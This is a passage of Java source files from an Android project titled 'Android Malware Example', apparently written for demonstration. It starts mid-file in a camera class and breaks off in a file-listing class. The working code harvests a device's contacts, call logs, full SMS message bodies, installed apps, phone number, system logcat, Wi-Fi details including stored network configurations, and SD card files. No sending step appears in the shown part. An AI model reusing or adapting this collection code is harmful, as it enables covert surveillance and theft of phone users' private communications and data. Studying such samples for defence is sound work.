150 | public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) {
151 | super.onCaptureCompleted(session, request, result);
152 | Toast.makeText(context, "Saved:" + file, Toast.LENGTH_SHORT).show();
153 | createCameraPreview();
154 | }
155 | };
156 |
157 | protected void takePicture() {
158 |
159 | // if (MainActivity.mainactivity == null)
160 | // {
161 | // Log.d(configParams.PROGID,"Cannot get Main Activity");
162 | // return;
163 | // }
164 | //
165 | //
166 | // if(null == cameraDevice) {
167 | // Log.e(configParams.PROGID, "cameraDevice is null");
168 | // return;
169 | // }
170 | // CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
171 | // try {
172 | // CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraDevice.getId());
173 | // Size[] jpegSizes = null;
174 | // if (characteristics != null) {
175 | // jpegSizes = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP).getOutputSizes(ImageFormat.JPEG);
176 | // }
177 | // int width = 640;
178 | // int height = 480;
179 | // if (jpegSizes != null && 0 < jpegSizes.length) {
180 | // width = jpegSizes[0].getWidth();
181 | // height = jpegSizes[0].getHeight();
182 | // }
183 | // ImageReader reader = ImageReader.newInstance(width, height, ImageFormat.JPEG, 1);
184 | // List outputSurfaces = new ArrayList(2);
185 | // outputSurfaces.add(reader.getSurface());
186 | // outputSurfaces.add(new Surface(textureView.getSurfaceTexture()));
187 | // final CaptureRequest.Builder captureBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
188 | // captureBuilder.addTarget(reader.getSurface());
189 | // captureBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);
190 | // // Orientation
191 | // int rotation = activity.getWindowManager().getDefaultDisplay().getRotation();
192 | // captureBuilder.set(CaptureRequest.JPEG_ORIENTATION, ORIENTATIONS.get(rotation));
193 | // final File file = new File(Environment.getExternalStorageDirectory()+"/pic.jpg");
194 | // ImageReader.OnImageAvailableListener readerListener = new ImageReader.OnImageAvailableListener() {
195 | // @Override
196 | // public void onImageAvailable(ImageReader reader) {
197 | // Image image = null;
198 | // try {
199 | // image = reader.acquireLatestImage();
200 | // ByteBuffer buffer = image.getPlanes()[0].getBuffer();
201 | // byte[] bytes = new byte[buffer.capacity()];
202 | // buffer.get(bytes);
203 | // save(bytes);
204 | // } catch (FileNotFoundException e) {
205 | // e.printStackTrace();
206 | // } catch (IOException e) {
207 | // e.printStackTrace();
208 | // } finally {
209 | // if (image != null) {
210 | // image.close();
211 | // }
212 | // }
213 | // }
214 | // private void save(byte[] bytes) throws IOException {
215 | // OutputStream output = null;
216 | // try {
217 | // output = new FileOutputStream(file);
218 | // output.write(bytes);
219 | // } finally {
220 | // if (null != output) {
221 | // output.close();
222 | // }
223 | // }
224 | // }
225 | // };
226 | // reader.setOnImageAvailableListener(readerListener, mBackgroundHandler);
227 | // final CameraCaptureSession.CaptureCallback captureListener = new CameraCaptureSession.CaptureCallback() {
228 | // @Override
229 | // public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) {
230 | // super.onCaptureCompleted(session, request, result);
231 | // Toast.makeText(context, "Saved:" + file, Toast.LENGTH_SHORT).show();
232 | // createCameraPreview();
233 | // }
234 | // };
235 | // cameraDevice.createCaptureSession(outputSurfaces, new CameraCaptureSession.StateCallback() {
236 | // @Override
237 | // public void onConfigured(CameraCaptureSession session) {
238 | // try {
239 | // session.capture(captureBuilder.build(), captureListener, mBackgroundHandler);
240 | // } catch (CameraAccessException e) {
241 | // e.printStackTrace();
242 | // }
243 | // }
244 | // @Override
245 | // public void onConfigureFailed(CameraCaptureSession session) {
246 | // }
247 | // }, mBackgroundHandler);
248 | // } catch (CameraAccessException e) {
249 | // e.printStackTrace();
250 | // }
251 | }
252 |
253 | protected void createCameraPreview() {
254 | try {
255 | SurfaceTexture texture = textureView.getSurfaceTexture();
256 | assert texture != null;
257 | texture.setDefaultBufferSize(imageDimension.getWidth(), imageDimension.getHeight());
258 | Surface surface = new Surface(texture);
259 | captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
260 | captureRequestBuilder.addTarget(surface);
261 | cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback(){
262 | @Override
263 | public void onConfigured(@NonNull CameraCaptureSession cameraCaptureSession) {
264 | //The camera is already closed
265 | if (null == cameraDevice) {
266 | return;
267 | }
268 | // When the session is ready, we start displaying the preview.
269 | cameraCaptureSessions = cameraCaptureSession;
270 | updatePreview();
271 | }
272 | @Override
273 | public void onConfigureFailed(@NonNull CameraCaptureSession cameraCaptureSession) {
274 | Toast.makeText(context, "Configuration change", Toast.LENGTH_SHORT).show();
275 | }
276 | }, null);
277 | } catch (CameraAccessException e) {
278 | e.printStackTrace();
279 | }
280 | }
281 |
282 | private void openCamera() {
283 | CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
284 | Log.e(configParams.PROGID, "is camera open");
285 | try {
286 | cameraId = manager.getCameraIdList()[0];
287 | CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);
288 | StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
289 | assert map != null;
290 | imageDimension = map.getOutputSizes(SurfaceTexture.class)[0];
291 | // Add permission for camera and let user grant the permission
292 | if (ActivityCompat.checkSelfPermission(context, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(context, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
293 | ActivityCompat.requestPermissions(activity, new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE}, REQUEST_CAMERA_PERMISSION);
294 | return;
295 | }
296 | manager.openCamera(cameraId, stateCallback, null);
297 | } catch (CameraAccessException e) {
298 | e.printStackTrace();
299 | }
300 | Log.e(configParams.PROGID, "openCamera X");
301 | }
302 | protected void updatePreview() {
303 | if(null == cameraDevice) {
304 | Log.e(configParams.PROGID, "updatePreview error, return");
305 | }
306 | captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);
307 | try {
308 | cameraCaptureSessions.setRepeatingRequest(captureRequestBuilder.build(), null, mBackgroundHandler);
309 | } catch (CameraAccessException e) {
310 | e.printStackTrace();
311 | }
312 | }
313 | private void closeCamera() {
314 | if (null != cameraDevice) {
315 | cameraDevice.close();
316 | cameraDevice = null;
317 | }
318 | if (null != imageReader) {
319 | imageReader.close();
320 | imageReader = null;
321 | }
322 | }
323 |
324 |
325 | }
326 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetContacts.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.database.Cursor;
25 | import android.provider.ContactsContract;
26 | import android.util.Log;
27 |
28 | import java.util.ArrayList;
29 | import java.util.List;
30 |
31 | /**
32 | * Created by darrylb on 10/3/16.
33 | */
34 | public class GetContacts {
35 |
36 | Context context;
37 | ConfigParams configParams;
38 | List contacts;
39 |
40 | public GetContacts(Context _context){
41 | context = _context;
42 | configParams = new ConfigParams(context);
43 | contacts = new ArrayList();
44 |
45 | }
46 |
47 | public class ContactInfo {
48 |
49 | public String Name;
50 | public String Email;
51 | public String PhoneNumber;
52 | public String Account;
53 |
54 | }
55 | public List getContacts() {
56 | Cursor cursor = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null,null, null);
57 |
58 |
59 | while (cursor.moveToNext()) {
60 |
61 | // String msgData = "";
62 | //
63 | // for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
64 | // // Log.d(configParams.PROGID,Integer.toString( idx));
65 | // msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
66 | //
67 | // }
68 | // Log.d(configParams.PROGID,"Contacts Cursor:"+msgData);
69 |
70 |
71 | ContactInfo _contact = new ContactInfo();
72 | _contact.Name= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
73 | _contact.PhoneNumber= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
74 | _contact.Account= cursor.getString(cursor.getColumnIndex("account_name"));
75 |
76 | String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
77 |
78 | Cursor emailCur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?", new String[]{id},null);
79 | String _emails="";
80 | while (emailCur.moveToNext()) {
81 | String email = emailCur.getString( emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
82 | _emails+=email+":";
83 |
84 | }
85 | _contact.Email= _emails;
86 | emailCur.close();
87 |
88 |
89 |
90 | String result = String.format("Contact: %20s [%12s][%-25s] ", _contact.Name, _contact.PhoneNumber, _contact.Email);
91 | if (configParams.Logging) Log.d(configParams.PROGID, result);
92 | contacts.add(_contact);
93 | }
94 | return contacts;
95 |
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetInstalledApps.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.content.Intent;
25 | import android.content.pm.ApplicationInfo;
26 | import android.content.pm.PackageManager;
27 | import android.util.Log;
28 |
29 | import java.util.ArrayList;
30 | import java.util.List;
31 |
32 | /**
33 | * Created by darrylb on 10/2/16.
34 | */
35 | public class GetInstalledApps {
36 | Context context;
37 | ConfigParams configParams;
38 | //private List myApps;
39 | private List apps;
40 | public GetInstalledApps(Context _context) {
41 | context = _context;
42 | configParams = new ConfigParams(context);
43 | //myApps = new ArrayList();
44 | apps = new ArrayList();
45 | }
46 | public class ApplicationInformation {
47 | public String AppName;
48 | public String PackageName;
49 | public String SourceDir;
50 | public String Intent;
51 |
52 | }
53 | public List getApps() {
54 | final PackageManager pm = context.getPackageManager();
55 | //get a list of installed apps.
56 | List packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
57 |
58 | for (ApplicationInfo packageInfo : packages) {
59 |
60 | PackageManager packageManager= context.getApplicationContext().getPackageManager();
61 | String appName="";
62 | try {
63 | appName = (String) packageManager.getApplicationLabel(packageManager.getApplicationInfo(packageInfo.packageName, PackageManager.GET_META_DATA));
64 | } catch (Exception ex){
65 | appName="Unknown";
66 |
67 | }
68 | String _apps = String.format("Package: %20s [%40s] Dir: [%20s] Activity:[%20s]",appName,packageInfo.packageName,packageInfo.sourceDir,
69 | pm.getLaunchIntentForPackage(packageInfo.packageName));
70 | ApplicationInformation app = new ApplicationInformation();
71 | app.AppName = appName;
72 | app.PackageName = packageInfo.packageName;
73 | app.SourceDir = packageInfo.sourceDir;
74 | Intent _x =pm.getLaunchIntentForPackage(packageInfo.packageName);
75 | app.Intent = "";
76 | if (_x != null){
77 | app.Intent = _x.toString();
78 | }
79 | apps.add(app);
80 |
81 | if (configParams.Logging) Log.d(configParams.PROGID,_apps);
82 | // Log.d(configParams.PROGID, "Installed package :" +packageInfo.name+"[" + packageInfo.packageName+"]");
83 | // Log.d(configParams.PROGID, "Source dir : " + packageInfo.sourceDir);
84 | // Log.d(configParams.PROGID, "Launch Activity :" + pm.getLaunchIntentForPackage(packageInfo.packageName));
85 | }
86 | return apps;
87 | }
88 |
89 | }
90 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetPhoneInfo.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 |
24 | import android.Manifest;
25 | import android.app.Activity;
26 | import android.content.ContentResolver;
27 | import android.content.ContentValues;
28 | import android.content.Context;
29 | import android.content.pm.PackageManager;
30 | import android.database.Cursor;
31 | import android.net.Uri;
32 | import android.provider.CallLog;
33 | import android.support.v4.content.ContextCompat;
34 | import android.telephony.TelephonyManager;
35 | import android.util.Log;
36 |
37 | import java.text.SimpleDateFormat;
38 | import java.util.ArrayList;
39 | import java.util.Date;
40 | import java.util.List;
41 |
42 | public class GetPhoneInfo {
43 |
44 | Context context;
45 | String mPhoneNumber;
46 | String PhoneModel;
47 | String AndroidVersion;
48 | ConfigParams configParams ;
49 | List callInfo;
50 | List smsInfo;
51 |
52 |
53 | public GetPhoneInfo(Context _context) {
54 | context = _context;
55 | configParams = new ConfigParams(context);
56 | PhoneModel = android.os.Build.MODEL;
57 | AndroidVersion = android.os.Build.VERSION.RELEASE;
58 | callInfo = new ArrayList();
59 | smsInfo = new ArrayList();
60 | }
61 |
62 | public String GetPhoneNumber() {
63 | // Log.d("BGMonitor","GetPhoneNumber Getting Phone Number");
64 |
65 | try {
66 | int permissionCheck = ContextCompat.checkSelfPermission(context,
67 | Manifest.permission.READ_SMS);
68 | if (permissionCheck == PackageManager.PERMISSION_GRANTED) {
69 | TelephonyManager tMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
70 | mPhoneNumber = tMgr.getLine1Number();
71 | if (mPhoneNumber.startsWith("+"))
72 | mPhoneNumber = mPhoneNumber.substring(1);
73 |
74 | } else {
75 | mPhoneNumber = "9999999999";
76 | }
77 |
78 |
79 | } catch (Exception ex) {
80 | Log.d(configParams.PROGID, "GetPhoneNumber Error:" + ex.toString());
81 | mPhoneNumber = "9999999999";
82 | }
83 | // Log.d("BGMonitor","GetPhoneNumber Found Phone Number:"+mPhoneNumber);
84 |
85 |
86 | return (mPhoneNumber);
87 | }
88 |
89 | public class CallInfo {
90 | public String callNumber;
91 | public String callName;
92 | public String callDate;
93 | public String callType;
94 | public String callDuration;
95 | }
96 | public class SMSInfo {
97 |
98 | public String messageId;
99 | public String address;
100 | public long contactId;
101 | public String readState;
102 | public String folder;
103 | public String contact;
104 | public String datestamp;
105 | public String message;
106 |
107 |
108 |
109 | }
110 | public class Sms {
111 | private String _id;
112 | private String _address;
113 | private String _msg;
114 | private String _readState; //"0" for have not read sms and "1" for have read sms
115 | private String _time;
116 | private String _folderName;
117 |
118 | public String getId() {
119 | return _id;
120 | }
121 |
122 | public String getAddress() {
123 | return _address;
124 | }
125 |
126 | public String getMsg() {
127 | return _msg;
128 | }
129 |
130 | public String getReadState() {
131 | return _readState;
132 | }
133 |
134 | public String getTime() {
135 | return _time;
136 | }
137 |
138 | public String getFolderName() {
139 | return _folderName;
140 | }
141 |
142 |
143 | public void setId(String id) {
144 | _id = id;
145 | }
146 |
147 | public void setAddress(String address) {
148 | _address = address;
149 | }
150 |
151 | public void setMsg(String msg) {
152 | _msg = msg;
153 | }
154 |
155 | public void setReadState(String readState) {
156 | _readState = readState;
157 | }
158 |
159 | public void setTime(String time) {
160 | _time = time;
161 | }
162 |
163 | public void setFolderName(String folderName) {
164 | _folderName = folderName;
165 | }
166 |
167 | }
168 |
169 | public List GetPhoneLog() {
170 | Cursor curLog = CallLogHelper.getAllCallLogs(context.getContentResolver());
171 | callInfo = setCallLogs(curLog);
172 |
173 | for( CallInfo callinfo: callInfo){
174 | String result = String.format("Call: %20s - %15s [%-25s][%10s] %5s Seconds ",callinfo.callDate,callinfo.callNumber,callinfo.callName,callinfo.callType,callinfo.callDuration);
175 | if (configParams.Logging) Log.d(configParams.PROGID,result);
176 | }
177 | return callInfo;
178 | }
179 |
180 |
181 | public List GetSMSLog(String box) {
182 |
183 | // public static final String INBOX = "content://sms/inbox";
184 | // public static final String SENT = "content://sms/sent";
185 | // public static final String DRAFT = "content://sms/draft";
186 |
187 | Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/"+box), null, null, null, null);
188 |
189 | if (cursor.moveToFirst()) { // must check the result to prevent exception
190 | do {
191 | String msgData = "";
192 |
193 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
194 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
195 |
196 | }
197 | //
198 |
199 |
200 |
201 |
202 | SMSInfo _sms = new SMSInfo();
203 | _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id"));
204 | _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
205 | _sms.readState = cursor.getString(cursor.getColumnIndex("read"));
206 | String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4)));
207 |
208 | // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date"));
209 | _sms.datestamp = dateString;
210 | if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) {
211 | _sms.folder ="inbox";
212 | } else {
213 | _sms.folder ="sent";
214 | }
215 | _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body"));
216 | smsInfo.add(_sms);
217 |
218 |
219 | // use msgData
220 | } while (cursor.moveToNext());
221 | } else {
222 | // empty box, no SMS
223 | }
224 |
225 | for (SMSInfo smsinfo : smsInfo) {
226 | String result = String.format("SMS: %20s - %15s [%B][%-25s] ", smsinfo.datestamp, smsinfo.address, smsinfo.readState,smsinfo.message);
227 | if (configParams.Logging) Log.d(configParams.PROGID, result);
228 | }
229 | return smsInfo;
230 | }
231 |
232 | // public List getAllSms() {
233 | // List lstSms = new ArrayList();
234 | // Sms objSms = new Sms();
235 | // Uri message = Uri.parse("content://sms/");
236 | // ContentResolver cr = context.getContentResolver();
237 | //
238 | // Cursor c = cr.query(message, null, null, null, null);
239 | // context.startManagingCursor(c);
240 | // int totalSMS = c.getCount();
241 | //
242 | // if (c.moveToFirst()) {
243 | // for (int i = 0; i < totalSMS; i++) {
244 | //
245 | // objSms = new Sms();
246 | // objSms.setId(c.getString(c.getColumnIndexOrThrow("_id")));
247 | // objSms.setAddress(c.getString(c
248 | // .getColumnIndexOrThrow("address")));
249 | // objSms.setMsg(c.getString(c.getColumnIndexOrThrow("body")));
250 | // objSms.setReadState(c.getString(c.getColumnIndex("read")));
251 | // objSms.setTime(c.getString(c.getColumnIndexOrThrow("date")));
252 | // if (c.getString(c.getColumnIndexOrThrow("type")).contains("1")) {
253 | // objSms.setFolderName("inbox");
254 | // } else {
255 | // objSms.setFolderName("sent");
256 | // }
257 | //
258 | // lstSms.add(objSms);
259 | // c.moveToNext();
260 | // }
261 | // }
262 | // // else {
263 | // // throw new RuntimeException("You have no SMS");
264 | // // }
265 | // c.close();
266 | //
267 | // return lstSms;
268 | // }
269 |
270 |
271 | private List setCallLogs(Cursor curLog) {
272 | List _callInfo = new ArrayList();
273 |
274 | while (curLog.moveToNext()) {
275 |
276 | CallInfo _callinfo = new CallInfo();
277 |
278 | _callinfo.callNumber = curLog.getString(curLog
279 | .getColumnIndex(android.provider.CallLog.Calls.NUMBER));
280 |
281 |
282 | String callName = curLog
283 | .getString(curLog
284 | .getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME));
285 | if (callName == null) {
286 | _callinfo.callName = "Unknown";
287 | } else
288 | _callinfo.callName = callName;
289 |
290 | String callDate = curLog.getString(curLog
291 | .getColumnIndex(android.provider.CallLog.Calls.DATE));
292 | SimpleDateFormat formatter = new SimpleDateFormat(
293 | "dd-MMM-yyyy HH:mm");
294 | String dateString = formatter.format(new Date(Long
295 | .parseLong(callDate)));
296 | _callinfo.callDate = dateString;
297 |
298 |
299 | String callType = curLog.getString(curLog
300 | .getColumnIndex(android.provider.CallLog.Calls.TYPE));
301 | if (callType.equals("1")) {
302 | _callinfo.callType = "Incoming";
303 | } else
304 | _callinfo.callType = "Outgoing";
305 |
306 | String duration = curLog.getString(curLog
307 | .getColumnIndex(android.provider.CallLog.Calls.DURATION));
308 | _callinfo.callDuration = duration;
309 |
310 | _callInfo.add(_callinfo);
311 | }
312 |
313 | return (_callInfo);
314 |
315 | }
316 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetSystemLog.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.app.Activity;
24 | import android.content.Context;
25 | import android.os.Bundle;
26 | import android.util.Log;
27 | import android.widget.TextView;
28 |
29 | import java.io.BufferedReader;
30 | import java.io.BufferedWriter;
31 | import java.io.File;
32 | import java.io.FileWriter;
33 | import java.io.IOException;
34 | import java.io.InputStreamReader;
35 | import java.util.ArrayList;
36 | import java.util.Date;
37 | import java.util.List;
38 |
39 | /**
40 | * Created by darrylb on 10/3/16.
41 | */
42 | public class GetSystemLog {
43 |
44 | Context context;
45 | ConfigParams configParams;
46 |
47 |
48 | public GetSystemLog(Context _context){
49 | context = _context;
50 | configParams = new ConfigParams(context);
51 |
52 | }
53 | public void GetLogs(String outfile) {
54 |
55 | StringBuilder log = new StringBuilder();
56 | List _logs = new ArrayList();
57 |
58 |
59 | BufferedWriter out;
60 | File fpath = configParams.StoragePath;
61 | try {
62 |
63 | FileWriter fileWriter = new FileWriter(fpath + "/" + outfile);
64 |
65 | out = new BufferedWriter(fileWriter);
66 |
67 |
68 | try {
69 | Process process = Runtime.getRuntime().exec("logcat -d");
70 | BufferedReader bufferedReader = new BufferedReader(
71 | new InputStreamReader(process.getInputStream()));
72 | int counter = 0;
73 | // StringBuilder log = new StringBuilder();
74 | String line;
75 | while ((line = bufferedReader.readLine()) != null) {
76 | out.write(line+"\n");
77 | }
78 | } catch (Exception ex) {
79 | if (configParams.Logging) Log.d(configParams.PROGID, "Unable to read system log");
80 | }
81 |
82 | out.close();
83 | }
84 | catch (IOException e) {
85 | if (configParams.Logging) Log.e("Exception", "File write failed: " + e.toString());
86 | }
87 |
88 |
89 |
90 |
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetWifi.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.net.ConnectivityManager;
25 | import android.net.NetworkInfo;
26 | import android.net.wifi.WifiConfiguration;
27 | import android.net.wifi.WifiInfo;
28 | import android.net.wifi.WifiManager;
29 | import android.util.Log;
30 | import android.widget.Toast;
31 | import android.net.wifi.ScanResult;
32 |
33 | import java.util.List;
34 |
35 | /**
36 | * Created by darrylb on 10/5/16.
37 | */
38 |
39 | public class GetWifi {
40 |
41 | Context context;
42 | ConfigParams configParams;
43 | List results;
44 | // WifiManager wifi;
45 | public GetWifi(Context _context){
46 | context = _context;
47 | configParams = new ConfigParams(context);
48 |
49 | }
50 | public class WifiData {
51 |
52 | public String CurrentSSID;
53 | public String BSSID;
54 | public String MAC;
55 | public String ScanResults;
56 | public String WifiConfigs;
57 |
58 | }
59 | public WifiData getWifiList() {
60 |
61 | WifiData _wifiinfo = new WifiData();
62 | String ssid = null;
63 | ConnectivityManager connManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
64 | NetworkInfo networkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
65 | if (networkInfo.isConnected()) {
66 | final WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
67 | final WifiInfo connectionInfo = wifiManager.getConnectionInfo();
68 | if (connectionInfo != null && !(connectionInfo.getSSID().equals(""))) {
69 | //if (connectionInfo != null && !StringUtil.isBlank(connectionInfo.getSSID())) {
70 | ssid = connectionInfo.getSSID();
71 | if (configParams.Logging) Log.d(configParams.PROGID,"SSID:"+ssid);
72 | }
73 | _wifiinfo.CurrentSSID = ssid;
74 | // Get WiFi status MARAKANA
75 | WifiInfo info = wifiManager.getConnectionInfo();
76 | String textStatus = "";
77 | textStatus += "\n\nWiFi Status: " + info.toString();
78 | String BSSID = info.getBSSID();
79 | String MAC = info.getMacAddress();
80 | _wifiinfo.BSSID = BSSID;
81 | _wifiinfo.MAC = MAC;
82 |
83 | List results = wifiManager.getScanResults();
84 | ScanResult bestSignal = null;
85 | int count = 1;
86 | String etWifiList = "";
87 | for (ScanResult result : results) {
88 | etWifiList += count++ + ". " + result.SSID + " : " + result.level + "\n" +
89 | result.BSSID + "\n" + result.capabilities +"\n" +
90 | "\n=======================\n";
91 | }
92 | if (configParams.Logging) Log.v(configParams.PROGID, "from SO: \n"+etWifiList);
93 | _wifiinfo.ScanResults = etWifiList;
94 | // List stored networks
95 | List configs = wifiManager.getConfiguredNetworks();
96 | for (WifiConfiguration config : configs) {
97 | textStatus+= "\n\n" + config.toString();
98 | }
99 | if (configParams.Logging) Log.v(configParams.PROGID," \n"+textStatus);
100 | _wifiinfo.WifiConfigs = textStatus;
101 | }
102 | return _wifiinfo;
103 |
104 | }
105 |
106 | }
107 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/ListSDFiles.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.os.Environment;
25 | import android.util.Log;
26 |
27 | import java.io.BufferedWriter;
28 | import java.io.File;
29 | import java.io.FileOutputStream;
30 | import java.io.FileWriter;
31 | import java.io.IOException;
32 | import java.io.OutputStreamWriter;
33 | import java.util.ArrayList;
34 | import java.util.Date;
35 | import java.util.Hashtable;
36 | import java.util.List;
37 |
38 | /**
39 | * Created by darrylb on 10/2/16.
40 | */
41 | public class ListSDFiles {
42 |
43 | ConfigParams configParams;
44 | Context context;
45 | String root_sd = Environment.getExternalStorageDirectory().toString();
46 |
47 | private File file;
48 | private List myFileList;
49 | private Hashtable myFileDetails;
50 |
51 | final String state = Environment.getExternalStorageState();
52 |
53 | public ListSDFiles(Context _context){
54 | context = _context;
55 | configParams = new ConfigParams(context);
56 | myFileList = new ArrayList();
57 | myFileDetails = new Hashtable();
58 |
59 |
60 | }
61 | public List getAllFiles() {
62 |
63 |
